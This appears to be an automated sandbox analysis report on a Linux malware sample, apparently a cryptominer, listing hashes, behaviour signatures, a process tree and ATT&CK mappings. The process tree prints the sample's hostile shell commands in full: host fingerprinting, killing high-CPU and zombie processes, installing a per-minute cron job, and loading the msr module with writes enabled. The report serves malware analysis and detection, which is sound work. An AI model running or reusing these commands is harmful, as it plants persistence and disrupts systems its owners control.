Analysis

  • max time kernel
    936s
  • max time network
    933s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20221111-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20221111-enkernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    07-06-2023 16:29

General

  • Target

    1_noUPX

  • Size

    6.1MB

  • MD5

    f9ba8c3372fdaf67422703bbc2208640

  • SHA1

    5042e58bc2e1d94912d11b11286ad6bccf0e4666

  • SHA256

    8602c57b152d735fb6e44c5866cd4a837f337d5464641f55e22fd65556e41ee2

  • SHA512

    d330557ff2bab35181a5b2ce550b11fc4f3dc8d38431ac26989d22b9247df955684fddf97dc11235001852b490704db3af87ed859c8a5bca3573aac66dd1018c

  • SSDEEP

    98304:HtpIDtRKq6YrRYjfmUyy++++++qq++++u+uwP5R5R5VYjMYjMtpuVE8OLqjbOqw0:H+tAq65cKEpHVGZA2O7TI

Malware Config

Signatures

  • Loads a kernel module 1 IoCs

    Loads a Linux kernel module, potentially to achieve persistence

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 7 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Enumerates kernel/hardware configuration 1 TTPs 59 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1_noUPX
    /tmp/1_noUPX
    1⤵
    • Checks CPU configuration
    • Checks hardware identifiers (DMI)
    • Reads CPU attributes
    • Reads hardware information
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:586
    • /bin/sh
      sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
      2⤵
        PID:587
        • /usr/bin/whoami
          whoami
          3⤵
            PID:598
          • /bin/hostname
            hostname
            3⤵
              PID:599
            • /bin/grep
              grep -c "^processor" /proc/cpuinfo
              3⤵
              • Checks CPU configuration
              PID:600
          • /bin/sh
            sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
            2⤵
              PID:616
              • /bin/ps
                ps -A "-ostat,ppid"
                3⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:617
              • /usr/bin/awk
                awk "/[zZ]/ && !a[\$2]++ {print \$2}"
                3⤵
                  PID:618
                • /usr/bin/id
                  id -u
                  3⤵
                    PID:620
                  • /bin/ps
                    ps x
                    3⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:621
                  • /bin/grep
                    grep /etc/cron
                    3⤵
                      PID:622
                    • /bin/grep
                      grep -v grep
                      3⤵
                        PID:623
                    • /bin/sh
                      sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                      2⤵
                        PID:625
                        • /usr/bin/id
                          id -u
                          3⤵
                            PID:626
                          • /bin/ps
                            ps aux
                            3⤵
                            • Reads CPU attributes
                            • Reads runtime system information
                            PID:627
                          • /bin/grep
                            grep -v grep
                            3⤵
                              PID:628
                            • /bin/grep
                              grep -v -- "-bash[[:space:]]*\$"
                              3⤵
                                PID:629
                              • /bin/grep
                                grep -v /usr/sbin/httpd
                                3⤵
                                  PID:630
                                • /usr/bin/awk
                                  awk "{if(\$3>30.0) print \$2}"
                                  3⤵
                                    PID:631
                                • /bin/sh
                                  sh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/1_noUPX' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/1_noUPX' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/1_noUPX\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:637
                                  • /bin/rm
                                    rm -rf /tmp/.cron
                                    3⤵
                                      PID:639
                                    • /usr/bin/crontab
                                      crontab -l
                                      3⤵
                                        PID:640
                                      • /bin/grep
                                        grep -v grep
                                        3⤵
                                          PID:641
                                        • /bin/grep
                                          grep -v /tmp/1_noUPX
                                          3⤵
                                            PID:642
                                          • /usr/bin/crontab
                                            crontab /tmp/.cron
                                            3⤵
                                            • Creates/modifies Cron job
                                            PID:650
                                          • /bin/rm
                                            rm -rf /tmp/.cron
                                            3⤵
                                              PID:651
                                          • /bin/sh
                                            sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
                                            2⤵
                                              PID:652
                                              • /usr/bin/id
                                                id -u
                                                3⤵
                                                • Reads runtime system information
                                                PID:653
                                          • /bin/hostname
                                            hostname -I
                                            1⤵
                                              PID:590
                                            • /usr/bin/awk
                                              awk "{print \$1}"
                                              1⤵
                                                PID:592
                                              • /bin/cat
                                                cat /etc/ssh/sshd_config
                                                1⤵
                                                  PID:594
                                                • /usr/bin/head
                                                  head -n 1
                                                  1⤵
                                                    PID:596
                                                  • /bin/grep
                                                    grep "Port "
                                                    1⤵
                                                      PID:595
                                                    • /usr/bin/awk
                                                      awk "{print \"-\"\$2}"
                                                      1⤵
                                                        PID:597
                                                      • /bin/grep
                                                        grep -m 1 "model name" /proc/cpuinfo
                                                        1⤵
                                                        • Checks CPU configuration
                                                        PID:603
                                                      • /usr/bin/cut
                                                        cut -d: -f2
                                                        1⤵
                                                          PID:604
                                                        • /bin/sed
                                                          sed -e "s/^ *//"
                                                          1⤵
                                                            PID:605
                                                          • /bin/sed
                                                            sed -e "s/\$//"
                                                            1⤵
                                                              PID:606
                                                            • /usr/bin/awk
                                                              awk "{print \$1}"
                                                              1⤵
                                                                PID:609
                                                              • /usr/bin/awk
                                                                awk "{print \$4}"
                                                                1⤵
                                                                  PID:612
                                                                • /usr/bin/awk
                                                                  awk "{print \$4}"
                                                                  1⤵
                                                                    PID:615
                                                                  • /usr/bin/crontab
                                                                    crontab -l
                                                                    1⤵
                                                                      PID:644
                                                                    • /bin/grep
                                                                      grep -v grep
                                                                      1⤵
                                                                        PID:645
                                                                      • /bin/grep
                                                                        grep "/tmp/1_noUPX\$"
                                                                        1⤵
                                                                          PID:646
                                                                        • /usr/bin/sort
                                                                          sort
                                                                          1⤵
                                                                            PID:647
                                                                          • /usr/bin/uniq
                                                                            uniq
                                                                            1⤵
                                                                              PID:648
                                                                            • /usr/bin/wc
                                                                              wc -l
                                                                              1⤵
                                                                                PID:649
                                                                              • /bin/ps
                                                                                ps aux
                                                                                1⤵
                                                                                • Reads CPU attributes
                                                                                • Reads runtime system information
                                                                                PID:655
                                                                              • /bin/grep
                                                                                grep -v grep
                                                                                1⤵
                                                                                  PID:656
                                                                                • /bin/grep
                                                                                  grep -- "-bash[[:space:]]*\$"
                                                                                  1⤵
                                                                                    PID:657
                                                                                  • /usr/bin/awk
                                                                                    awk "{if(\$3>30.0) print \$2}"
                                                                                    1⤵
                                                                                      PID:658
                                                                                    • /usr/bin/wc
                                                                                      wc -l
                                                                                      1⤵
                                                                                        PID:659
                                                                                      • /bin/sh
                                                                                        sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"
                                                                                        1⤵
                                                                                          PID:688
                                                                                          • /sbin/modprobe
                                                                                            /sbin/modprobe msr "allow_writes=on"
                                                                                            2⤵
                                                                                            • Enumerates kernel/hardware configuration
                                                                                            PID:689

                                                                                        Network

                                                                                        MITRE ATT&CK Matrix ATT&CK v6

                                                                                        Execution

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053

                                                                                        Persistence

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053

                                                                                        Privilege Escalation

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053

                                                                                        Defense Evasion

                                                                                        Virtualization/Sandbox Evasion

                                                                                        2
                                                                                        T1497

                                                                                        Discovery

                                                                                        Virtualization/Sandbox Evasion

                                                                                        2
                                                                                        T1497

                                                                                        System Information Discovery

                                                                                        3
                                                                                        T1082

                                                                                        Replay Monitor

                                                                                        Loading Replay Monitor...

                                                                                        Downloads

                                                                                        • /tmp/.cron
                                                                                          Filesize

                                                                                          28B

                                                                                          MD5

                                                                                          5a318eca74b0ce6e05c3476169a7d28b

                                                                                          SHA1

                                                                                          09424172cc03feba1b24f4e2ca06754e5fb84465

                                                                                          SHA256

                                                                                          7324d7e99964eb39b1c76a61afb56b90b9a4e716b9ebac0e4cd51f514ce9c168

                                                                                          SHA512

                                                                                          f779ea069963b6d591db1c57c0799680d70b201d2e58c6fe194bbcde61739d8da6776cab05b29f949a6c545af29078d501e0c39f4b1c4b87685129b5963e352d

                                                                                        • /var/spool/cron/crontabs/tmp.wbHA2R
                                                                                          Filesize

                                                                                          212B

                                                                                          MD5

                                                                                          092120f220fb19db0ffc9c0031d65944

                                                                                          SHA1

                                                                                          8376f587bbca9b4e4403838102a9f8aa4799abee

                                                                                          SHA256

                                                                                          fed27bad41bea562448b1bf089cf091b86f63083f6b2526c1261ec1950d1aed4

                                                                                          SHA512

                                                                                          1d68dc978cd4e6aa5954790e455207b2836fe6ce90ca343bd0cc7538c09003ff6c0a07bca55071f3df24fb003a40f78e25fac2f401e2794d2ebecbdf31012737